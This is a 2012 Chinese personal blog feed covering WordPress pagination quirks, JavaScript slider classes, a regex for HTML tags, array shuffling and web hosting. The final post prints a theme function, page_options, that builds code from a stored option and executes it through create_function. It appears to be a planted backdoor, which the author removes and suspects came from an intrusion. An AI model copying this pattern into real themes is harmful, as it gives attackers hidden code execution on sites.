脚儿网

自相矛盾的wordpress文章置顶

十年灯 — Mon, 14 May 2012 10:22:17 +0000

此问题是在网友测试xTaoke主题的时候发现的，说起来很坑爹。

xTaoke对每页的文章数量要求比较严格，比如一行显示4篇文章，那每一页的总文章数量就应该是4的倍数。相信很多主题都有类似的要求，不然不好看。

假设我们设置每页显示16篇文章。

当你置顶某篇文章后，如果这篇文章的本来顺序是大于16的,奇怪的事情出现了。

此时首页就会显示17篇文章。置顶2篇，就是显示18篇了，然后才会分页。

而第2页是正常的，显示16篇文章。

但是，如果你置顶的那篇文章序号在16以内，则不会破坏首页显示数量。

如果你为了照顾第1页，而把每页显示设为“16-置顶文章数”这么多篇时，比如你置顶1篇，则设置每页显示15篇，这样总数就是16了。首页暂时是正常了，但第2页就会显示你设置的篇数。而且，如果你增加了置顶文章，就又得更改每页显示数量，很麻烦很不现实。

我想知道这是为什么？

为什么置顶文章不能把后面的文章的顺序挤到下一页呢？

~~我到论坛问问去，如果能解决，则记录在这里。~~

初步测试及露兜兄的指点下，发现这个问题无解，或者说解决起来成本太高。

露兜说可以通过代码单独设置首页的显示数量为“每页规定显示数量-置顶文章数量”，本来这样的确可以解决问题，但有个蛋疼的bug就是上面说的，如果置顶文章的序号是小于你每页显示数目时，首页不会多出一个的；但这个代码并不能判断置顶文章的序号到底是大于16还是小于，它只管减去了。

所以，如果你置顶了3篇文章，那上面的代码会自动把首页显示数量设为16-3=13，但不巧有1篇文章序号本来是小于16的，此时你的首页应该显示16-（3-1）=14，而不是13.结果还是错位了。

这基本上可以说是wordpress自身设计的问题，蛋疼。

javascript正则表达式：匹配所有html标签

十年灯 — Wed, 09 May 2012 07:39:05 +0000

此正则表达式收集于网络，但那个网站连复制一下都需要注册会员，鄙视之，所以不提他了。而且，原作者也不可能是那个网站。

html标签有

这种成对的，也有
这种自闭合的，更多的是这种混合了很多字符的。那要怎么把他们都匹配呢？

其实匹配html标签的正则表达式很短，如下：

<[^>]+>

就这样，没了？是的。你惊讶吗？

虽然叫我写我写不出来，但这个正则表达式我却能看懂。首先，html标签肯定是以<符号开始的，以>符号结束（不管是不是自闭合），只是中间有点纠结，可能有字符，数字，引号，换行符——但是，却万万没有>，因为有它的话html标签就结束了，所以正则表达式中间是[^>]+，表示“除了>符号外的任何1个以上的字符”。

在notepad++中测试，使用以上正则表达式，成功替换所有html标签。嘿嘿，很有用。

测试下百度网盘的图片外链

十年灯 — Tue, 08 May 2012 01:27:58 +0000

早上经网友邀请，注册了百度网盘。好像空间挺大的，不过我注册网盘最希望的就是用来做图床，所以我想测试下百度网盘上的图片是否可以外链。

测试之前我没报什么希望，以百度的秉性，基本上不会有允许外链的可能。

下面这张图片就是上传到百度网盘的。

上面的图片是截取自我的Javascript马赛克图片遮罩切换类，图片是个美女哟。

如果你没看到图片或图片链接失效，就表明百度网盘不支持做图床，不支持图片外链。

经初步测试，貌似他支持图片外链呢。

不过，就算他支持外链，我外链的过程也很繁琐。首先，把图片上传上去，然后设置完全公开，之后点击图片预览。此时一般情况下在图片上右键，就能复制图片网址，但此时你在这图片上右键，却没有和图片有关的右键菜单，通过chrome查看元素可以发现，百度是把图片作为了CSS背景图片调用的，所以一般情况下——只要用户不懂html，95%的用户都不懂——用户找不到图片网址，也就不存在外链了。

话说百度最近对本站的收录又开始抽风了，原理不知道。靠，真鄙视

推荐一个小众国外主机商：Host2ez

十年灯 — Fri, 04 May 2012 05:30:43 +0000

首先拿出他们的网址：http://www.host2ez.com.

本站脚儿网，就是一直架设在Host2ez上的，迄今为止有两年了。这也是我使用的第一款国外主机，访问速度还不错，关键是网站管理员很厚道，如果你有兴趣，可以看看我的经历。

我是前几年才开始做网站的，当时注册的域名和空间都是国内的，后来因为大家都知道的原因，国内开始严管我们这些草根网站，于是我就搬到国外了。当时就是用的Host2ez，因为我的网站程序是wordpress,而Host2ez在wordpress论坛上打广告，就看到了。

当时觉得价格便宜，其余的也不差，就买了。

后来，也许是因为Host2ez在wordpress论坛上名气太大，抢了其他主机商的客户，搞的别人不满了，所以就被攻击了，当时我的网站大概有连续3天都没法访问。作为一个小主机商，host2ez不得不屈服，宣布倒闭，只保留域名注册服务了。

关键的来了：Host2ez全额退款。

本来主机商跑路这种事很常见，跑路了当然不退钱了——我只有一个网站，上面也没我的信息，我就算不退你钱你也找不到我，哈哈。

但Host2ez很厚道，把空间开通那天算到空间不能使用那天的钱保留，其余的，也就是你已经支付了但还没使用的钱，都退还了，都一一打到支付宝里。

当时我就觉得，如果Host2ez再开，我还是用他的。

后来，我离开Host2ez，先后用了godaddy与ixwebhosting的空间，但个人觉得都没有host2ez的速度快，特别是ixwebhosting，太慢了。

偶然间，我看到host2ez居然又可以买空间了——我的域名一直在host2ez上面,所以我又从ixwebhosting转出来，回到了Host2ez.

但不知怎么的，我感觉Host2ez这次低调了很多，比如我再也没看到他在其他地方打广告了。也许是怕攻击了吧。所以，他就变“小众”了。

Host2ez.com的主机套餐

可以说只有一种套餐，只是空间大小和流量不同，所以有100/年和200/年的（真的是小众）。

100/年：1G容量,10G月流量.可建立3个网站

200/年：2G容量,30G月流量,可建立10个网站

但是：host2ez.com有很多个机房，以便给你提供最好的访问速度。你可以自己选择机房或叫客服推荐。

——————–

下面我总结一下我使用过程中感觉到的Host2ez.com的优点：

主机价格便宜，速度不错，性价比高
客服应答及时。虽然只有在线提问，但客服90%会在10分钟内回答你的问题
主机付费方便。支持月付，季付，年付，付款方式是支付宝
厚道。不用担心他跑路或者不退钱的情况

我已经在Host2ez.com上面买了两个空间和N个域名，他的价格不是最便宜的，但我却最放心。

另外，如果大家要在上面买空间，推荐先月付一下，试用一个月看看这个空间好不好，如果真心觉得不错，再按年续费；如果觉得不如意，就叫客服换或者离开。15块钱，一包烟，也不怕损失。

如果你正想寻找一个稳定，性价比高的国外空间，我推荐你去看看：Host2ez

wordpress分页导航插件：wp-Pagenavi[推荐]

javascript马赛克遮罩图片切换效果:XMosaic.js

十年灯 — Wed, 02 May 2012 08:40:48 +0000

新鲜出炉的javascript图片切换特效，实现的是马赛克遮罩切换。在flash里，好实现遮罩动画很简单，不过JS实现起来就有些困难了。

XMosaic.js，与XScroll.js和XScroll2.js一样，都是用来制作单张图片切换特效的javascript类，不过，迄今为止XMosaic.js实现的特效是最炫的，炫到我以后很长一段时间都不用再写图片切换类了。

XMosaic.js，马赛克图片切换特效示例页

XMosaic.js的使用方法请查看示例页源代码。其中html结构与一般图片切换的html结构无异，如：

此时，你只需要以下这句js，就能实现马赛克切换效果：

var msk = XMosaic('jsF');

或者，你想要自定义参数：

var msk = XMosaic('jsF',{pager:'pager',delay:3000,countX:10,countY:1,how:2,order:0 });

XMosaic.js参数说明：

how：指定切换特效，默认0
countX：指定水平方向上的分块个数，默认5
countY：指定垂直方向上的分块个数，默认1
order：各分块的动画执行顺序，默认0
delay：暂停时间，默认4000
pager：页码块的ID，默认无
event：触发页码切换的事件，默认mouseover
auto：是否自动切换，默认true

XMosaic.js特色说明：

说在前面：

XMosaic.js支持横向和纵向切块，但不支持斜着来——如果所有浏览器都支持css3的话，我会实现

XMosaic.js的特效只适用于图片——因为图片才能分块；如果你需要对文字进行附加的切换，需另行定义。

1，how参数

how是指定切换效果的，迄今为止有9种。这里的效果是针对每个小分块儿的。

默认0，就是淡入（渐渐显现），后面的所有效果都带淡入效果；1，从左到右滑出并带0；2，从上到下滑出；3，从右到左；4，从下到上；5，左右交叉插入；6，上下交叉插入；7，宽度由0增加到100%；8，高度由0增加到100%

2，countX与countY

这两个参数分别指定X轴与Y轴上的分块个数，而总个数count就是countX*countY。在how参数不变的情况下，只改变countX,countY的值，就能得到看起来截然不同的效果。所以，XMosaic.js的效果可不只是how规定的个数。

必须注意：你的图片宽度及高度，要能被countX和countY分别整除！！不然分块就会出现错位问题

我的示例页里面，X轴与Y轴上都最多能分成10块，那总块数就是10*10=100块。动画执行依旧没问题，不过效率就不敢考虑了。

3，order

这个参数的意思是顺序。默认0，即从第一个分块依次执行到最后一个

如果order是1，则表示从最后一个执行到第一个；2，从中间的依次执行到两头；3，从两头执行到中间；4，随机；5，全部同时执行

order参数，与how参数配合起来，特效数量可以增加6倍！

XMosaic.js口水话：

制作马赛克遮罩切换效果，首先要解决的就是：怎么分块？这个效果网上已经有不少例子，最新的分块方式，是用N个DIV，每个DIV就是1块；这些DIV都有同一张background-image,但都具有不同的background-position；然后设置每个DIV的left与top值，把他们组合在一起，看起来就是一张完整的图片——实际上他是由很多小块组成的

所以，我在前面强调你的图片宽度及高度，要能被countX和countY分别整除；不然各块之间分赃不均，就糗了。

循环输出每个小块的left与top值，这也是一个技术活，写XMosaic的时候，我想了半天，最后还是参考现成的例子写了。原理很简单，一点就通，但关键的问题是，没人点你还就真的想不通了。具体可查看XMosaic.js的源码。

然后就是最重要的问题：如何让分块们依次执行一段动画？

如果让写一个一张图片渐渐显现的动画效果，我完全没问题。但这些分块们，比如总共10个分块，他们的透明度要依次从0增加到100，要考虑的问题太多了。

首先，卡不卡？同时操作10个分块，无疑对电脑性能是个考验。但如果别人写的马赛克切换效果都不卡而我的卡，那只能说明我写错了。

其次，不能同时执行。如果这10个分块的透明度同时变化，那和一个分块就没什么区别了。这一点貌似很好解决，设置一个时间递增的定时器即可。

再次，动画过程能不能打断？比如，动画正进行到一半，此时我通过点击页码触发下一次切换，那么现在执行到一半的动画怎么办？

最后，如果我并不想每个分块依次执行动画呢？我要随机呢？

考虑到上面这些问题，我决定把动画函数绑定到每个分块上。这样，每个块的动画都是独立的，可以随意打断，而且，不会影响到其他的块。

比如某一块叫elm，那么我就给他绑一个动画elm.todo=function(){…}。。调用的时候就是elm.todo()。当然，不会这样直接调用，而是通过setTimeout来调。

同样，这个块的动画定时器也保存在他自己身上，如elm.timer = setTimeout();清除的时候才不容易混淆。

在这里我还要介绍一个新版javascript添加的函数,Array.map，是一个添加到数组上的方法，Array.map的作用就是，让数组内的所有元素都分别执行一个函数——没错！对我的XMosaic太有用了。但问题是IE什么的不支持这个新方法，于是，就只有模拟了一个：

map:function(arr,fun,thisr){
		for(var i=0,l=arr.length;i

这个其实是照挖cloudgamer里面的一段代码，真的很好用。大家可以看看这个代码试试理解，我理解了很久。。。

另外就是，关于order这个参数了。这个参数难到了我，因为，默认的就一个顺序，就是从第一个块执行到最后一个块。我还想要倒序，还想要随机。于是我额外写了一个函数，changeI().目的就是改变i,然后用基础速度乘以这个i，得到真正的动画速度。

—————————————完了——————————

完成XMosaic.js，最大的成就就是学到了map方法，然后对js的定时器有了更深的了解，再次是各小块儿的定位计算方法，

Javascript:最高效率的数组乱序方法

十年灯 — Mon, 23 Apr 2012 08:59:47 +0000

数组乱序的意思是，把数组内的所有元素排列顺序打乱。

常用的办法是给数组原生的sort方法传入一个函数，此函数随机返回1或-1，达到随机排列数组元素的目的。

arr.sort(function(a,b){ return Math.random()>.5 ? -1 : 1;});

这种方法虽直观，但效率并不高，经我测试，打乱10000个元素的数组，所用时间大概在35ms上下（firefox）

本人一直具有打破沙锅问到底的优良品质，于是搜索到了一个高效的方法。原文见此

if (!Array.prototype.shuffle) {
    Array.prototype.shuffle = function() {
        for(var j, x, i = this.length; i; j = parseInt(Math.random() * i), x = this[--i], this[i] = this[j], this[j] = x);
        return this;
    };
}
arr.shuffle();

此方法是为Array.prototype添加了一个函数，叫shuffle——不过叫什么名字不重要啦，重要的是他的效率。

拿我上面那个10000个元素的数组来测试，用这个方法乱序完成仅需要7，8毫秒的时间。

把数组元素增加10倍到100000来测试，第一种sort方法费时500+ms左右，shuffle方法费时40ms左右，差别是大大的。

完整测试代码：

var count = 100000,arr = [];
for(var i=0;i<count;i++){
	arr.push(i);
}
/**/
//常规方法，sort()
var t = new Date().getTime();
//arr.sort(function(a,b){ return Math.random()>.5 ? -1 : 1;});
Array.prototype.sort.call(arr,function(a,b){ return Math.random()>.5 ? -1 : 1;});
document.write(arr+'
');
var t1 = new Date().getTime();
document.write(t1-t);
 
//以下方法效率最高
if (!Array.prototype.shuffle) {
    Array.prototype.shuffle = function() {
        for(var j, x, i = this.length; i; j = parseInt(Math.random() * i), x = this[--i], this[i] = this[j], this[j] = x);
        return this;
    };
}
var t = new Date().getTime();
arr.shuffle();
document.write('
'+arr+'
');
var t1 = new Date().getTime();
document.write(t1-t);

另外，大家有没有注意到shuffle代码里的for循环，他没有后半截！也就是只有for(..)却没有后面的{..}，居然可以这样写！而且居然正常执行！好奇特，我得去博客园问问。

我的javascript图片切换类系列重大更新

十年灯 — Fri, 20 Apr 2012 02:47:26 +0000

包括XScroll.js,XScroll2.js,XScrollMore.js，~~其中XScroll2.js已完成更新，其余两个正在处理中~~。已全部修复完毕，具体可查看各自的示例页。

这次更新是修复bug,而这个bug在我以上三个JS类中都存在（我很抱歉…），由此可见，初期架构是多么重要。XScroll.js是我第一个完成的图片切换类，所以后面两个类或多或少，至少在结构上，都和XScroll.js类似，所以，XScroll.js的毛病，他们也就继承了。。

bug描述（由网友dagai.net提醒）：

比如我从第2页跳到第3页，当动画正在进行时，我又回到第2页（或跳到第4页），这时候，便会发生多个动画效果同时进行的bug，也就是，既在进行2到3的动画，又在进行3到2的动画。

原因很简单：在下一次动画前没有清除上次动画的定时器。

本来理想上的实现方式是：我从2跳到3，动画正在进行中，又从3跳到2，此时，动画就应该往回滚了。如果又跳到4，那2到3的动画就应该马上中止，开始3到4的动画了。

但我的JS类中只有一个定时器timer，这个timer主管整个自动切换进程，也就是是否循环跳转。动画进程却没有保存定时器，只是简单的setTimeout，于是这个动画就没法中止了。

所以，我增加了一个管理动画进程的定时器，只要清除这个定时器，动画就不动了，哪怕只进行到一半。这个定时器就叫_timer吧，在源码里可以看到。

虽然多了一个定时器，但代码量并没有增加多少，效率也应该没影响，可放心使用。

图片切换分为自动切换和手动触发。手动触发，一般就是鼠标指到页码上面，决定切换到哪一张，手动触发时，会马上中止当前动画进程，并判断跳转条件，进行下一次跳转，该回滚就回滚，该去下一个就去下一个。

XScroll2.js经过修复，好像已经没有什么bug了，欢迎各位使用，测试及反馈，毕竟，要靠我一个人来完成调试，真是压力山大的。。

Javascript仿拍拍网首页图片切换效果

十年灯 — Tue, 17 Apr 2012 02:51:56 +0000

今天打开很久没上的拍拍网，出于职业本能稍稍看了下他的首页图片切换效果，发现跟我最近完成的XScroll2.js实现的效果非常相近，于是打算用XScroll2.js写一份效果相仿的代码。

首先说说拍拍网这个首页图片切换效果的特点：

单步长滚动。比如从第1张图片滚动到第4张，或从第3张回滚到第1张，都只滚动一个步长（虽然他们间隔了几个步长）
鼠标经过页码触发滚动
触发有延迟，并不是移动到对应页码马上就滚动了

也许最近流行这个效果，我前几天写的XScroll2.js也是用来制作这种效果的javascript类。所以要实现他很简单，只是改下CSS外观即可。

仿拍拍网首页图片切换示例页

html+CSS请参考示例页。写好html及CSS后，只要引入XScroll2.js，再只写一句javascript代码即可。

<script type="text/javascript" src="XScroll2.js"></script>
<script type="text/javascript">
var paipai = XScroll2('idSlider4',{direct:1,how:1,pager:'taobaopage'});
</script>

你甚至可以用这样的句子声明N个图片切换效果，XScroll2.js是经过封装，可重用的。

当然,XScroll2.js的切换效果较少，除了滚动效果，就只有一个淡入淡出效果了。因为他是他前辈XScroll.js的精简版，特效没那么多。

wordpress主题报错的严重性

十年灯 — Tue, 10 Apr 2012 02:52:30 +0000

前几天，我一直正常运行的pearlie主题报错了。虽然现在已经修复，但后遗症却顽固难治。

其实如php之类的服务端语言，报错时会出现很严重的问题。因为他一般会把错误输出到页面上，从而被搜索引擎收录进去。如我这次主题报错，导致网站首页和文章页都没法显示正常内容，而是显示了报错信息，结果导致我的两篇权重较好访问人数较多的文章的内容被搜索引擎更新为报错信息了。如下图：

可以看到，我亲爱的google很尽职的发现了我wordpress文章的“更新”，结果把报的错当成了我文章的内容，覆盖了以前正常的内容——欲哭无泪

幸亏我发现的早，而且我网站的流量也不高，如果是一个大网站，而且流量多的话，如果报的错一天之内没有修复，估计整个网站的内容都会被错误信息覆盖，导致网站整体权重全部降低…

所以，大家一定要引以为戒，及时修复错误信息。哪怕是拿一个临时主题顶上，只要能正常显示内容就好。特别是那种把文章主体内容都给弄没了的错误，更要及时发现

wordpress出现Fatal error:Cannot redeclare dscrypt() (previously declared in…错误

十年灯 — Mon, 09 Apr 2012 02:48:58 +0000

之所以记下这个错误，是因为这个错很奇怪。

一般这个错误的全文是：

Cannot redeclare dscrypt() (previously declared in /homepages/4/d171060969/htdocs/saturnscene/wp-content/themes/bueno/header.php:152) in /homepages/4/d171060969/htdocs/saturnscene/wp-content/themes/bueno/functions.php(29) : runtime-created function(1) : eval()’d code on line 67

说他奇怪，有几点：

错误的最后行数一定是on line 67.但即使你真的改了对应文件的第67行，他还是会报这个错。
一般这个错误都出现在wordpress主题的function.php文件
这个错误出现的很莫名其妙

我上一篇文章说了，我因为pearlie主题报错而换了一个新主题。但今天早上在公司，突然发现新主题也报错，而且是与pearlie差不多的错。尼玛，要不要人活啊！

昨天在家里测试新主题的时候，没什么问题，但今天却又报错。我搜索了一下这个错误，发现很多人都遇到这个问题——但都是外国人，国内没有这方面的信息，而且，外国人也没有说怎么解决这个问题。

郁闷了。我改了主题function.php的第67行，但依然报这个67的错。然后我发现错误中出现了好几个文件，于是我一一查看这些文件。关键来了，看我上文错误里的红色function.php后面那个括号，那里面才是错误出现的真正的行数。

找到这一行，不出所料你会发现一个php函数：page_options,他的内容应该如下：

function page_options() { 
	$option = get_option('page_option'); 
	$opt=unserialize($option);
	@$arg = create_function('', $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );
	return $arg('');
}
add_action('loop_start', 'page_options');

一般就是上面的出现@这一行报错，但你删掉这个@依然会报错。

我的解决办法是：把page_options函数整个删掉！连同他后面的add_action语句都删掉！

然后主题就正常了。不过我建议你谨慎修改，有疑问可以联系我。

这个page_options函数，我搜索了一下，不是wordpress的官方函数，但同时出现在我的pearlie主题及新换的主题中，而我把他们都删掉之后，两个主题都恢复正常了。于是我又换回了pearlie。

我怀疑是不是我的网站被入侵了。。。各位小心。